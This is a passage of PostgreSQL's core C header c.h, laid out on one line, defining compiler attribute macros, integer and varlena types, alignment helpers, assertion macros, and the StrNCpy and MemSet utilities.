PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * src/include/c.h * *------------------------------------------------------------------------- */ /* *---------------------------------------------------------------- * TABLE OF CONTENTS * * When adding stuff to this file, please try to put stuff * into the relevant section, or add new sections as appropriate. * * section description * ------- ------------------------------------------------ * 0) pg_config.h and standard system headers * 1) compiler characteristics * 2) bool, true, false * 3) standard system types * 4) IsValid macros for system types * 5) offsetof, lengthof, alignment * 6) assertions * 7) widely useful macros * 8) random stuff * 9) system-specific hacks * * NOTE: since this file is included by both frontend and backend modules, * it's usually wrong to put an "extern" declaration here, unless it's * ifdef'd so that it's seen in only one case or the other. * typedefs and macros are the kind of thing that might go here. * *---------------------------------------------------------------- */ #ifndef C_H #define C_H #include "postgres_ext.h" /* Must undef pg_config_ext.h symbols before including pg_config.h */ #undef PG_INT64_TYPE #include "pg_config.h" #include "pg_config_manual.h" /* must be after pg_config.h */ #include "pg_config_os.h" /* must be before any system header files */ /* System header files that should be available everywhere in Postgres */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stddef.h> #include <stdarg.h> #ifdef HAVE_STRINGS_H #include <strings.h> #endif #include <stdint.h> #include <sys/types.h> #include <errno.h> #if defined(WIN32) || defined(__CYGWIN__) #include <fcntl.h> /* ensure O_BINARY is available */ #endif #include <locale.h> #ifdef ENABLE_NLS #include <libintl.h> #endif /* ---------------------------------------------------------------- * Section 1: compiler characteristics * * type prefixes (const, signed, volatile, inline) are handled in pg_config.h. * ---------------------------------------------------------------- */ /* * Disable "inline" if PG_FORCE_DISABLE_INLINE is defined. * This is used to work around compiler bugs and might also be useful for * investigatory purposes. */ #ifdef PG_FORCE_DISABLE_INLINE #undef inline #define inline #endif /* * Attribute macros * * GCC: https://gcc.gnu.org/onlinedocs/gcc/Function-Attributes.html * GCC: https://gcc.gnu.org/onlinedocs/gcc/Type-Attributes.html * Sunpro: https://docs.oracle.com/cd/E18659_01/html/821-1384/gjzke.html * XLC: https://www.ibm.com/support/knowledgecenter/SSGH2K_13.1.2/com.ibm.xlc131.aix.doc/language_ref/function_attributes.html * XLC: https://www.ibm.com/support/knowledgecenter/SSGH2K_13.1.2/com.ibm.xlc131.aix.doc/language_ref/type_attrib.html */ /* only GCC supports the unused attribute */ #ifdef __GNUC__ #define pg_attribute_unused() __attribute__((unused)) #else #define pg_attribute_unused() #endif /* * Place this macro before functions that should be allowed to make misaligned * accesses. Think twice before using it on non-x86-specific code! * Testing can be done with "-fsanitize=alignment -fsanitize-trap=alignment" * on clang, or "-fsanitize=alignment -fno-sanitize-recover=alignment" on gcc. */ #if __clang_major__ >= 7 || __GNUC__ >= 8 #define pg_attribute_no_sanitize_alignment() __attribute__((no_sanitize("alignment"))) #else #define pg_attribute_no_sanitize_alignment() #endif /* * Append PG_USED_FOR_ASSERTS_ONLY to definitions of variables that are only * used in assert-enabled builds, to avoid compiler warnings about unused * variables in assert-disabled builds. */ #ifdef USE_ASSERT_CHECKING #define PG_USED_FOR_ASSERTS_ONLY #else #define PG_USED_FOR_ASSERTS_ONLY pg_attribute_unused() #endif /* GCC and XLC support format attributes */ #if defined(__GNUC__) || defined(__IBMC__) #define pg_attribute_format_arg(a) __attribute__((format_arg(a))) #define pg_attribute_printf(f,a) __attribute__((format(PG_PRINTF_ATTRIBUTE, f, a))) #else #define pg_attribute_format_arg(a) #define pg_attribute_printf(f,a) #endif /* GCC, Sunpro and XLC support aligned, packed and noreturn */ #if defined(__GNUC__) || defined(__SUNPRO_C) || defined(__IBMC__) #define pg_attribute_aligned(a) __attribute__((aligned(a))) #define pg_attribute_noreturn() __attribute__((noreturn)) #define pg_attribute_packed() __attribute__((packed)) #define HAVE_PG_ATTRIBUTE_NORETURN 1 #else /* * NB: aligned and packed are not given default definitions because they * affect code functionality; they *must* be implemented by the compiler * if they are to be used. */ #define pg_attribute_noreturn() #endif /* * Use "pg_attribute_always_inline" in place of "inline" for functions that * we wish to force inlining of, even when the compiler's heuristics would * choose not to. But, if possible, don't force inlining in unoptimized * debug builds. */ #if (defined(__GNUC__) && __GNUC__ > 3 && defined(__OPTIMIZE__)) || defined(__SUNPRO_C) || defined(__IBMC__) /* GCC > 3, Sunpro and XLC support always_inline via __attribute__ */ #define pg_attribute_always_inline __attribute__((always_inline)) inline #elif defined(_MSC_VER) /* MSVC has a special keyword for this */ #define pg_attribute_always_inline __forceinline #else /* Otherwise, the best we can do is to say "inline" */ #define pg_attribute_always_inline inline #endif /* * Forcing a function not to be inlined can be useful if it's the slow path of * a performance-critical function, or should be visible in profiles to allow * for proper cost attribution. Note that unlike the pg_attribute_XXX macros * above, this should be placed before the function's return type and name. */ /* GCC, Sunpro and XLC support noinline via __attribute__ */ #if (defined(__GNUC__) && __GNUC__ > 2) || defined(__SUNPRO_C) || defined(__IBMC__) #define pg_noinline __attribute__((noinline)) /* msvc via declspec */ #elif defined(_MSC_VER) #define pg_noinline __declspec(noinline) #else #define pg_noinline #endif /* * Mark a point as unreachable in a portable fashion. This should preferably * be something that the compiler understands, to aid code generation. * In assert-enabled builds, we prefer abort() for debugging reasons. */ #if defined(HAVE__BUILTIN_UNREACHABLE) && !defined(USE_ASSERT_CHECKING) #define pg_unreachable() __builtin_unreachable() #elif defined(_MSC_VER) && !defined(USE_ASSERT_CHECKING) #define pg_unreachable() __assume(0) #else #define pg_unreachable() abort() #endif /* * Hints to the compiler about the likelihood of a branch. Both likely() and * unlikely() return the boolean value of the contained expression. * * These should only be used sparingly, in very hot code paths. It's very easy * to mis-estimate likelihoods. */ #if __GNUC__ >= 3 #define likely(x) __builtin_expect((x) != 0, 1) #define unlikely(x) __builtin_expect((x) != 0, 0) #else #define likely(x) ((x) != 0) #define unlikely(x) ((x) != 0) #endif /* * CppAsString * Convert the argument to a string, using the C preprocessor. * CppAsString2 * Convert the argument to a string, after one round of macro expansion. * CppConcat * Concatenate two arguments together, using the C preprocessor. * * Note: There used to be support here for pre-ANSI C compilers that didn't * support # and ##. Nowadays, these macros are just for clarity and/or * backward compatibility with existing PostgreSQL code. */ #define CppAsString(identifier) #identifier #define CppAsString2(x) CppAsString(x) #define CppConcat(x, y) x##y /* * VA_ARGS_NARGS * Returns the number of macro arguments it is passed. * * An empty argument still counts as an argument, so effectively, this is * "one more than the number of commas in the argument list". * * This works for up to 63 arguments. Internally, VA_ARGS_NARGS_() is passed * 64+N arguments, and the C99 standard only requires macros to allow up to * 127 arguments, so we can't portably go higher. The implementation is * pretty trivial: VA_ARGS_NARGS_() returns its 64th argument, and we set up * the call so that that is the appropriate one of the list of constants. * This idea is due to Laurent Deniau. */ #define VA_ARGS_NARGS(...) \ VA_ARGS_NARGS_(__VA_ARGS__, \ 63,62,61,60, \ 59,58,57,56,55,54,53,52,51,50, \ 49,48,47,46,45,44,43,42,41,40, \ 39,38,37,36,35,34,33,32,31,30, \ 29,28,27,26,25,24,23,22,21,20, \ 19,18,17,16,15,14,13,12,11,10, \ 9, 8, 7, 6, 5, 4, 3, 2, 1, 0) #define VA_ARGS_NARGS_( \ _01,_02,_03,_04,_05,_06,_07,_08,_09,_10, \ _11,_12,_13,_14,_15,_16,_17,_18,_19,_20, \ _21,_22,_23,_24,_25,_26,_27,_28,_29,_30, \ _31,_32,_33,_34,_35,_36,_37,_38,_39,_40, \ _41,_42,_43,_44,_45,_46,_47,_48,_49,_50, \ _51,_52,_53,_54,_55,_56,_57,_58,_59,_60, \ _61,_62,_63, N, ...) \ (N) /* * dummyret is used to set return values in macros that use ?: to make * assignments. gcc wants these to be void, other compilers like char */ #ifdef __GNUC__ /* GNU cc */ #define dummyret void #else #define dummyret char #endif /* * Generic function pointer. This can be used in the rare cases where it's * necessary to cast a function pointer to a seemingly incompatible function * pointer type while avoiding gcc's -Wcast-function-type warnings. */ typedef void (*pg_funcptr_t) (void); /* * We require C99, hence the compiler should understand flexible array * members. However, for documentation purposes we still consider it to be * project style to write "field[FLEXIBLE_ARRAY_MEMBER]" not just "field[]". * When computing the size of such an object, use "offsetof(struct s, f)" * for portability. Don't use "offsetof(struct s, f[0])", as this doesn't * work with MSVC and with C++ compilers. */ #define FLEXIBLE_ARRAY_MEMBER /* empty */ /* Which __func__ symbol do we have, if any? */ #ifdef HAVE_FUNCNAME__FUNC #define PG_FUNCNAME_MACRO __func__ #else #ifdef HAVE_FUNCNAME__FUNCTION #define PG_FUNCNAME_MACRO __FUNCTION__ #else #define PG_FUNCNAME_MACRO NULL #endif #endif /* * Does the compiler support #pragma GCC system_header? We optionally use it * to avoid warnings that we can't fix (e.g. in the perl headers). * See https://gcc.gnu.org/onlinedocs/cpp/System-Headers.html * * Headers for which we do not want to show compiler warnings can, * conditionally, use #pragma GCC system_header to avoid warnings. Obviously * this should only be used for external headers over which we do not have * control. * * Support for the pragma is tested here, instead of during configure, as gcc * also warns about the pragma being used in a .c file. It's surprisingly hard * to get autoconf to use .h as the file-ending. Looks like gcc has * implemented the pragma since the 2000, so this test should suffice. * * * Alternatively, we could add the include paths for problematic headers with * -isystem, but that is a larger hammer and is harder to search for. * * A more granular alternative would be to use #pragma GCC diagnostic * push/ignored/pop, but gcc warns about unknown warnings being ignored, so * every to-be-ignored-temporarily compiler warning would require its own * pg_config.h symbol and #ifdef. */ #ifdef __GNUC__ #define HAVE_PRAGMA_GCC_SYSTEM_HEADER 1 #endif /* ---------------------------------------------------------------- * Section 2: bool, true, false * ---------------------------------------------------------------- */ /* * bool * Boolean value, either true or false. * * We use stdbool.h if bool has size 1 after including it. That's useful for * better compiler and debugger output and for compatibility with third-party * libraries. But PostgreSQL currently cannot deal with bool of other sizes; * there are static assertions around the code to prevent that. * * For C++ compilers, we assume the compiler has a compatible built-in * definition of bool. * * See also the version of this code in src/interfaces/ecpg/include/ecpglib.h. */ #ifndef __cplusplus #ifdef PG_USE_STDBOOL #include <stdbool.h> #else #ifndef bool typedef unsigned char bool; #endif #ifndef true #define true ((bool) 1) #endif #ifndef false #define false ((bool) 0) #endif #endif /* not PG_USE_STDBOOL */ #endif /* not C++ */ /* ---------------------------------------------------------------- * Section 3: standard system types * ---------------------------------------------------------------- */ /* * Pointer * Variable holding address of any memory resident object. * * XXX Pointer arithmetic is done with this, so it can't be void * * under "true" ANSI compilers. */ typedef char *Pointer; /* * intN * Signed integer, EXACTLY N BITS IN SIZE, * used for numerical computations and the * frontend/backend protocol. */ #ifndef HAVE_INT8 typedef signed char int8; /* == 8 bits */ typedef signed short int16; /* == 16 bits */ typedef signed int int32; /* == 32 bits */ #endif /* not HAVE_INT8 */ /* * uintN * Unsigned integer, EXACTLY N BITS IN SIZE, * used for numerical computations and the * frontend/backend protocol. */ #ifndef HAVE_UINT8 typedef unsigned char uint8; /* == 8 bits */ typedef unsigned short uint16; /* == 16 bits */ typedef unsigned int uint32; /* == 32 bits */ #endif /* not HAVE_UINT8 */ /* * bitsN * Unit of bitwise operation, AT LEAST N BITS IN SIZE. */ typedef uint8 bits8; /* >= 8 bits */ typedef uint16 bits16; /* >= 16 bits */ typedef uint32 bits32; /* >= 32 bits */ /* * 64-bit integers */ #ifdef HAVE_LONG_INT_64 /* Plain "long int" fits, use it */ #ifndef HAVE_INT64 typedef long int int64; #endif #ifndef HAVE_UINT64 typedef unsigned long int uint64; #endif #define INT64CONST(x) (x##L) #define UINT64CONST(x) (x##UL) #elif defined(HAVE_LONG_LONG_INT_64) /* We have working support for "long long int", use that */ #ifndef HAVE_INT64 typedef long long int int64; #endif #ifndef HAVE_UINT64 typedef unsigned long long int uint64; #endif #define INT64CONST(x) (x##LL) #define UINT64CONST(x) (x##ULL) #else /* neither HAVE_LONG_INT_64 nor HAVE_LONG_LONG_INT_64 */ #error must have a working 64-bit integer datatype #endif /* snprintf format strings to use for 64-bit integers */ #define INT64_FORMAT "%" INT64_MODIFIER "d" #define UINT64_FORMAT "%" INT64_MODIFIER "u" /* * 128-bit signed and unsigned integers * There currently is only limited support for such types. * E.g. 128bit literals and snprintf are not supported; but math is. * Also, because we exclude such types when choosing MAXIMUM_ALIGNOF, * it must be possible to coerce the compiler to allocate them on no * more than MAXALIGN boundaries. */ #if defined(PG_INT128_TYPE) #if defined(pg_attribute_aligned) || ALIGNOF_PG_INT128_TYPE <= MAXIMUM_ALIGNOF #define HAVE_INT128 1 typedef PG_INT128_TYPE int128 #if defined(pg_attribute_aligned) pg_attribute_aligned(MAXIMUM_ALIGNOF) #endif ; typedef unsigned PG_INT128_TYPE uint128 #if defined(pg_attribute_aligned) pg_attribute_aligned(MAXIMUM_ALIGNOF) #endif ; #endif #endif /* * stdint.h limits aren't guaranteed to have compatible types with our fixed * width types. So just define our own. */ #define PG_INT8_MIN (-0x7F-1) #define PG_INT8_MAX (0x7F) #define PG_UINT8_MAX (0xFF) #define PG_INT16_MIN (-0x7FFF-1) #define PG_INT16_MAX (0x7FFF) #define PG_UINT16_MAX (0xFFFF) #define PG_INT32_MIN (-0x7FFFFFFF-1) #define PG_INT32_MAX (0x7FFFFFFF) #define PG_UINT32_MAX (0xFFFFFFFFU) #define PG_INT64_MIN (-INT64CONST(0x7FFFFFFFFFFFFFFF) - 1) #define PG_INT64_MAX INT64CONST(0x7FFFFFFFFFFFFFFF) #define PG_UINT64_MAX UINT64CONST(0xFFFFFFFFFFFFFFFF) /* * We now always use int64 timestamps, but keep this symbol defined for the * benefit of external code that might test it. */ #define HAVE_INT64_TIMESTAMP /* * Size * Size of any memory resident object, as returned by sizeof. */ typedef size_t Size; /* * Index * Index into any memory resident array. * * Note: * Indices are non negative. */ typedef unsigned int Index; /* * Offset * Offset into any memory resident array. * * Note: * This differs from an Index in that an Index is always * non negative, whereas Offset may be negative. */ typedef signed int Offset; /* * Common Postgres datatype names (as used in the catalogs) */ typedef float float4; typedef double float8; #ifdef USE_FLOAT8_BYVAL #define FLOAT8PASSBYVAL true #else #define FLOAT8PASSBYVAL false #endif /* * Oid, RegProcedure, TransactionId, SubTransactionId, MultiXactId, * CommandId */ /* typedef Oid is in postgres_ext.h */ /* * regproc is the type name used in the include/catalog headers, but * RegProcedure is the preferred name in C code. */ typedef Oid regproc; typedef regproc RegProcedure; typedef uint32 TransactionId; typedef uint32 LocalTransactionId; typedef uint32 SubTransactionId; #define InvalidSubTransactionId ((SubTransactionId) 0) #define TopSubTransactionId ((SubTransactionId) 1) /* MultiXactId must be equivalent to TransactionId, to fit in t_xmax */ typedef TransactionId MultiXactId; typedef uint32 MultiXactOffset; typedef uint32 CommandId; #define FirstCommandId ((CommandId) 0) #define InvalidCommandId (~(CommandId)0) /* * Array indexing support */ #define MAXDIM 6 typedef struct { int indx[MAXDIM]; } IntArray; /* ---------------- * Variable-length datatypes all share the 'struct varlena' header. * * NOTE: for TOASTable types, this is an oversimplification, since the value * may be compressed or moved out-of-line. However datatype-specific routines * are mostly content to deal with de-TOASTed values only, and of course * client-side routines should never see a TOASTed value. But even in a * de-TOASTed value, beware of touching vl_len_ directly, as its * representation is no longer convenient. It's recommended that code always * use macros VARDATA_ANY, VARSIZE_ANY, VARSIZE_ANY_EXHDR, VARDATA, VARSIZE, * and SET_VARSIZE instead of relying on direct mentions of the struct fields. * See postgres.h for details of the TOASTed form. * ---------------- */ struct varlena { char vl_len_[4]; /* Do not touch this field directly! */ char vl_dat[FLEXIBLE_ARRAY_MEMBER]; /* Data content is here */ }; #define VARHDRSZ ((int32) sizeof(int32)) /* * These widely-used datatypes are just a varlena header and the data bytes. * There is no terminating null or anything like that --- the data length is * always VARSIZE_ANY_EXHDR(ptr). */ typedef struct varlena bytea; typedef struct varlena text; typedef struct varlena BpChar; /* blank-padded char, ie SQL char(n) */ typedef struct varlena VarChar; /* var-length char, ie SQL varchar(n) */ /* * Specialized array types. These are physically laid out just the same * as regular arrays (so that the regular array subscripting code works * with them). They exist as distinct types mostly for historical reasons: * they have nonstandard I/O behavior which we don't want to change for fear * of breaking applications that look at the system catalogs. There is also * an implementation issue for oidvector: it's part of the primary key for * pg_proc, and we can't use the normal btree array support routines for that * without circularity. */ typedef struct { int32 vl_len_; /* these fields must match ArrayType! */ int ndim; /* always 1 for int2vector */ int32 dataoffset; /* always 0 for int2vector */ Oid elemtype; int dim1; int lbound1; int16 values[FLEXIBLE_ARRAY_MEMBER]; } int2vector; typedef struct { int32 vl_len_; /* these fields must match ArrayType! */ int ndim; /* always 1 for oidvector */ int32 dataoffset; /* always 0 for oidvector */ Oid elemtype; int dim1; int lbound1; Oid values[FLEXIBLE_ARRAY_MEMBER]; } oidvector; /* * Representation of a Name: effectively just a C string, but null-padded to * exactly NAMEDATALEN bytes. The use of a struct is historical. */ typedef struct nameData { char data[NAMEDATALEN]; } NameData; typedef NameData *Name; #define NameStr(name) ((name).data) /* ---------------------------------------------------------------- * Section 4: IsValid macros for system types * ---------------------------------------------------------------- */ /* * BoolIsValid * True iff bool is valid. */ #define BoolIsValid(boolean) ((boolean) == false || (boolean) == true) /* * PointerIsValid * True iff pointer is valid. */ #define PointerIsValid(pointer) ((const void*)(pointer) != NULL) /* * PointerIsAligned * True iff pointer is properly aligned to point to the given type. */ #define PointerIsAligned(pointer, type) \ (((uintptr_t)(pointer) % (sizeof (type))) == 0) #define OffsetToPointer(base, offset) \ ((void *)((char *) base + offset)) #define OidIsValid(objectId) ((bool) ((objectId) != InvalidOid)) #define RegProcedureIsValid(p) OidIsValid(p) /* ---------------------------------------------------------------- * Section 5: offsetof, lengthof, alignment * ---------------------------------------------------------------- */ /* * offsetof * Offset of a structure/union field within that structure/union. * * XXX This is supposed to be part of stddef.h, but isn't on * some systems (like SunOS 4). */ #ifndef offsetof #define offsetof(type, field) ((long) &((type *)0)->field) #endif /* offsetof */ /* * lengthof * Number of elements in an array. */ #define lengthof(array) (sizeof (array) / sizeof ((array)[0])) /* ---------------- * Alignment macros: align a length or address appropriately for a given type. * The fooALIGN() macros round up to a multiple of the required alignment, * while the fooALIGN_DOWN() macros round down. The latter are more useful * for problems like "how many X-sized structures will fit in a page?". * * NOTE: TYPEALIGN[_DOWN] will not work if ALIGNVAL is not a power of 2. * That case seems extremely unlikely to be needed in practice, however. * * NOTE: MAXIMUM_ALIGNOF, and hence MAXALIGN(), intentionally exclude any * larger-than-8-byte types the compiler might have. * ---------------- */ #define TYPEALIGN(ALIGNVAL,LEN) \ (((uintptr_t) (LEN) + ((ALIGNVAL) - 1)) & ~((uintptr_t) ((ALIGNVAL) - 1))) #define SHORTALIGN(LEN) TYPEALIGN(ALIGNOF_SHORT, (LEN)) #define INTALIGN(LEN) TYPEALIGN(ALIGNOF_INT, (LEN)) #define LONGALIGN(LEN) TYPEALIGN(ALIGNOF_LONG, (LEN)) #define DOUBLEALIGN(LEN) TYPEALIGN(ALIGNOF_DOUBLE, (LEN)) #define MAXALIGN(LEN) TYPEALIGN(MAXIMUM_ALIGNOF, (LEN)) /* MAXALIGN covers only built-in types, not buffers */ #define BUFFERALIGN(LEN) TYPEALIGN(ALIGNOF_BUFFER, (LEN)) #define CACHELINEALIGN(LEN) TYPEALIGN(PG_CACHE_LINE_SIZE, (LEN)) #define TYPEALIGN_DOWN(ALIGNVAL,LEN) \ (((uintptr_t) (LEN)) & ~((uintptr_t) ((ALIGNVAL) - 1))) #define SHORTALIGN_DOWN(LEN) TYPEALIGN_DOWN(ALIGNOF_SHORT, (LEN)) #define INTALIGN_DOWN(LEN) TYPEALIGN_DOWN(ALIGNOF_INT, (LEN)) #define LONGALIGN_DOWN(LEN) TYPEALIGN_DOWN(ALIGNOF_LONG, (LEN)) #define DOUBLEALIGN_DOWN(LEN) TYPEALIGN_DOWN(ALIGNOF_DOUBLE, (LEN)) #define MAXALIGN_DOWN(LEN) TYPEALIGN_DOWN(MAXIMUM_ALIGNOF, (LEN)) #define BUFFERALIGN_DOWN(LEN) TYPEALIGN_DOWN(ALIGNOF_BUFFER, (LEN)) /* * The above macros will not work with types wider than uintptr_t, like with * uint64 on 32-bit platforms. That's not problem for the usual use where a * pointer or a length is aligned, but for the odd case that you need to * align something (potentially) wider, use TYPEALIGN64. */ #define TYPEALIGN64(ALIGNVAL,LEN) \ (((uint64) (LEN) + ((ALIGNVAL) - 1)) & ~((uint64) ((ALIGNVAL) - 1))) /* we don't currently need wider versions of the other ALIGN macros */ #define MAXALIGN64(LEN) TYPEALIGN64(MAXIMUM_ALIGNOF, (LEN)) /* ---------------------------------------------------------------- * Section 6: assertions * ---------------------------------------------------------------- */ /* * USE_ASSERT_CHECKING, if defined, turns on all the assertions. * - plai 9/5/90 * * It should _NOT_ be defined in releases or in benchmark copies */ /* * Assert() can be used in both frontend and backend code. In frontend code it * just calls the standard assert, if it's available. If use of assertions is * not configured, it does nothing. */ #ifndef USE_ASSERT_CHECKING #define Assert(condition) ((void)true) #define AssertMacro(condition) ((void)true) #define AssertArg(condition) ((void)true) #define AssertState(condition) ((void)true) #define AssertPointerAlignment(ptr, bndr) ((void)true) #define Trap(condition, errorType) ((void)true) #define TrapMacro(condition, errorType) (true) #elif defined(FRONTEND) #include <assert.h> #define Assert(p) assert(p) #define AssertMacro(p) ((void) assert(p)) #define AssertArg(condition) assert(condition) #define AssertState(condition) assert(condition) #define AssertPointerAlignment(ptr, bndr) ((void)true) #else /* USE_ASSERT_CHECKING && !FRONTEND */ /* * Trap * Generates an exception if the given condition is true. */ #define Trap(condition, errorType) \ do { \ if (condition) \ ExceptionalCondition(#condition, (errorType), \ __FILE__, __LINE__); \ } while (0) /* * TrapMacro is the same as Trap but it's intended for use in macros: * * #define foo(x) (AssertMacro(x != 0), bar(x)) * * Isn't CPP fun? */ #define TrapMacro(condition, errorType) \ ((bool) (! (condition) || \ (ExceptionalCondition(#condition, (errorType), \ __FILE__, __LINE__), 0))) #define Assert(condition) \ do { \ if (!(condition)) \ ExceptionalCondition(#condition, "FailedAssertion", \ __FILE__, __LINE__); \ } while (0) #define AssertMacro(condition) \ ((void) ((condition) || \ (ExceptionalCondition(#condition, "FailedAssertion", \ __FILE__, __LINE__), 0))) #define AssertArg(condition) \ do { \ if (!(condition)) \ ExceptionalCondition(#condition, "BadArgument", \ __FILE__, __LINE__); \ } while (0) #define AssertState(condition) \ do { \ if (!(condition)) \ ExceptionalCondition(#condition, "BadState", \ __FILE__, __LINE__); \ } while (0) /* * Check that `ptr' is `bndr' aligned. */ #define AssertPointerAlignment(ptr, bndr) \ Trap(TYPEALIGN(bndr, (uintptr_t)(ptr)) != (uintptr_t)(ptr), \ "UnalignedPointer") #endif /* USE_ASSERT_CHECKING && !FRONTEND */ /* * ExceptionalCondition is compiled into the backend whether or not * USE_ASSERT_CHECKING is defined, so as to support use of extensions * that are built with that #define with a backend that isn't. Hence, * we should declare it as long as !FRONTEND. */ #ifndef FRONTEND extern void ExceptionalCondition(const char *conditionName, const char *errorType, const char *fileName, int lineNumber) pg_attribute_noreturn(); #endif /* * Macros to support compile-time assertion checks. * * If the "condition" (a compile-time-constant expression) evaluates to false, * throw a compile error using the "errmessage" (a string literal). * * gcc 4.6 and up supports _Static_assert(), but there are bizarre syntactic * placement restrictions. Macros StaticAssertStmt() and StaticAssertExpr() * make it safe to use as a statement or in an expression, respectively. * The macro StaticAssertDecl() is suitable for use at file scope (outside of * any function). * * Otherwise we fall back on a kluge that assumes the compiler will complain * about a negative width for a struct bit-field. This will not include a * helpful error message, but it beats not getting an error at all. */ #ifndef __cplusplus #ifdef HAVE__STATIC_ASSERT #define StaticAssertStmt(condition, errmessage) \ do { _Static_assert(condition, errmessage); } while(0) #define StaticAssertExpr(condition, errmessage) \ ((void) ({ StaticAssertStmt(condition, errmessage); true; })) #define StaticAssertDecl(condition, errmessage) \ _Static_assert(condition, errmessage) #else /* !HAVE__STATIC_ASSERT */ #define StaticAssertStmt(condition, errmessage) \ ((void) sizeof(struct { int static_assert_failure : (condition) ? 1 : -1; })) #define StaticAssertExpr(condition, errmessage) \ StaticAssertStmt(condition, errmessage) #define StaticAssertDecl(condition, errmessage) \ extern void static_assert_func(int static_assert_failure[(condition) ? 1 : -1]) #endif /* HAVE__STATIC_ASSERT */ #else /* C++ */ #if defined(__cpp_static_assert) && __cpp_static_assert >= 200410 #define StaticAssertStmt(condition, errmessage) \ static_assert(condition, errmessage) #define StaticAssertExpr(condition, errmessage) \ ({ static_assert(condition, errmessage); }) #define StaticAssertDecl(condition, errmessage) \ static_assert(condition, errmessage) #else /* !__cpp_static_assert */ #define StaticAssertStmt(condition, errmessage) \ do { struct static_assert_struct { int static_assert_failure : (condition) ? 1 : -1; }; } while(0) #define StaticAssertExpr(condition, errmessage) \ ((void) ({ StaticAssertStmt(condition, errmessage); })) #define StaticAssertDecl(condition, errmessage) \ extern void static_assert_func(int static_assert_failure[(condition) ? 1 : -1]) #endif /* __cpp_static_assert */ #endif /* C++ */ /* * Compile-time checks that a variable (or expression) has the specified type. * * AssertVariableIsOfType() can be used as a statement. * AssertVariableIsOfTypeMacro() is intended for use in macros, eg * #define foo(x) (AssertVariableIsOfTypeMacro(x, int), bar(x)) * * If we don't have __builtin_types_compatible_p, we can still assert that * the types have the same size. This is far from ideal (especially on 32-bit * platforms) but it provides at least some coverage. */ #ifdef HAVE__BUILTIN_TYPES_COMPATIBLE_P #define AssertVariableIsOfType(varname, typename) \ StaticAssertStmt(__builtin_types_compatible_p(__typeof__(varname), typename), \ CppAsString(varname) " does not have type " CppAsString(typename)) #define AssertVariableIsOfTypeMacro(varname, typename) \ (StaticAssertExpr(__builtin_types_compatible_p(__typeof__(varname), typename), \ CppAsString(varname) " does not have type " CppAsString(typename))) #else /* !HAVE__BUILTIN_TYPES_COMPATIBLE_P */ #define AssertVariableIsOfType(varname, typename) \ StaticAssertStmt(sizeof(varname) == sizeof(typename), \ CppAsString(varname) " does not have type " CppAsString(typename)) #define AssertVariableIsOfTypeMacro(varname, typename) \ (StaticAssertExpr(sizeof(varname) == sizeof(typename), \ CppAsString(varname) " does not have type " CppAsString(typename))) #endif /* HAVE__BUILTIN_TYPES_COMPATIBLE_P */ /* ---------------------------------------------------------------- * Section 7: widely useful macros * ---------------------------------------------------------------- */ /* * Max * Return the maximum of two numbers. */ #define Max(x, y) ((x) > (y) ? (x) : (y)) /* * Min * Return the minimum of two numbers. */ #define Min(x, y) ((x) < (y) ? (x) : (y)) /* * Abs * Return the absolute value of the argument. */ #define Abs(x) ((x) >= 0 ? (x) : -(x)) /* * StrNCpy * Like standard library function strncpy(), except that result string * is guaranteed to be null-terminated --- that is, at most N-1 bytes * of the source string will be kept. * Also, the macro returns no result (too hard to do that without * evaluating the arguments multiple times, which seems worse). * * BTW: when you need to copy a non-null-terminated string (like a text * datum) and add a null, do not do it with StrNCpy(..., len+1). That * might seem to work, but it fetches one byte more than there is in the * text object. One fine day you'll have a SIGSEGV because there isn't * another byte before the end of memory. Don't laugh, we've had real * live bug reports from real live users over exactly this mistake. * Do it honestly with "memcpy(dst,src,len); dst[len] = '\0';", instead. */ #define StrNCpy(dst,src,len) \ do \ { \ char * _dst = (dst); \ Size _len = (len); \ \ if (_len > 0) \ { \ strncpy(_dst, (src), _len); \ _dst[_len-1] = '\0'; \ } \ } while (0) /* Get a bit mask of the bits set in non-long aligned addresses */ #define LONG_ALIGN_MASK (sizeof(long) - 1) /* * MemSet * Exactly the same as standard library function memset(), but considerably * faster for zeroing small word-aligned structures (such as parsetree nodes). * This has to be a macro because the main point is to avoid function-call * overhead. However, we have also found that the loop is faster than * native libc memset() on some platforms, even those with assembler * memset() functions. More research needs to be done, perhaps with * MEMSET_LOOP_LIMIT tests in configure. */ #define MemSet(start, val, len) \ do \ { \ /* must be void* because we don't know if it is integer aligned yet */ \ void *_vstart = (void *) (start); \ int _val = (val); \ Size _len = (len); \ \ if ((((uintptr_t) _vstart) & LONG_ALIGN_MASK) == 0 && \ (_len & LONG_ALIGN_MASK) == 0 && \ _val == 0 && \ _len <= MEMSET_LOOP_LIMIT && \ /* \ * If MEMSET_LOOP_LIMIT == 0, optimizer should find \ * the whole "if" false at compile time. \ */ \ MEMSET_LOOP_LIMIT != 0) \ { \ long *_start = (long *) _vstart; \ long *_stop = (long *) ((char *) _start + _len); \ while (_start < _stop) \ *_start++ = 0; \ } \ else \ memset(_vstart, _val, _len); \ } while (0) /* * MemSetAligned is the same as MemSet except it omits the test to see if * "start" is word-aligned. This is okay to use if the caller knows a-priori * that the pointer is suitably aligned (typically, because he just got it * from palloc(), which always delivers a max-aligned pointer). */ #define MemSetAligned(start, val, len) \ do \ { \ long *_start = (long *) (start); \ int _val = (val); \ Size _len = (len); \ \ if ((_len & LONG_ALIGN_MASK) == 0 && \ _val == 0 && \ _len <= MEMSET_LOOP_LIMIT && \ MEMSET_LOOP_LIMIT != 0) \ { \ long *_stop = (long *) ((char *) _start + _len); \ while (_start < _stop) \ *_start++ = 0; \ } \ else \ memset(_start, _val, _len); \ } while (0) /* * MemSetTest/MemSetLoop are a variant version that allow all the tests in * MemSet to be done at compile time in cases where "val" and "len" are * constants *and* we know the "start" pointer must be word-aligned. * If MemSetTest succeeds, then it is okay to use MemSetLoop, otherwise use * MemSetAligned. Beware of multiple evaluations of the arguments when using * this approach. */ #define MemSetTest(val, len) \ ( ((len) & LONG_ALIGN_MASK) == 0 && \ (len) <= MEMSET_LOOP_LIMIT && \ MEMSET_LOOP_LIMIT != 0 && \ (val) == 0 ) #define MemSetLoop(start, val, len) \ do \ { \ long * _start = (long *) (start); \ long * _stop = (long *) ((char *) _start + (Size) (len)); \ \ while (_start < _stop) \ *_start++ = 0; \ } while (0) /* * Macros for range-checking float values before converting to integer. * We must be careful here that the boundary values are expressed exactly * in the float domain. PG_INTnn_MIN is an exact power of 2, so it will * be represented exactly; but PG_INTnn_MAX isn't, and might get rounded * off, so avoid using that. * The input must be rounded to an integer beforehand, typically with rint(), * else we might draw the wrong conclusion about close-to-the-limit 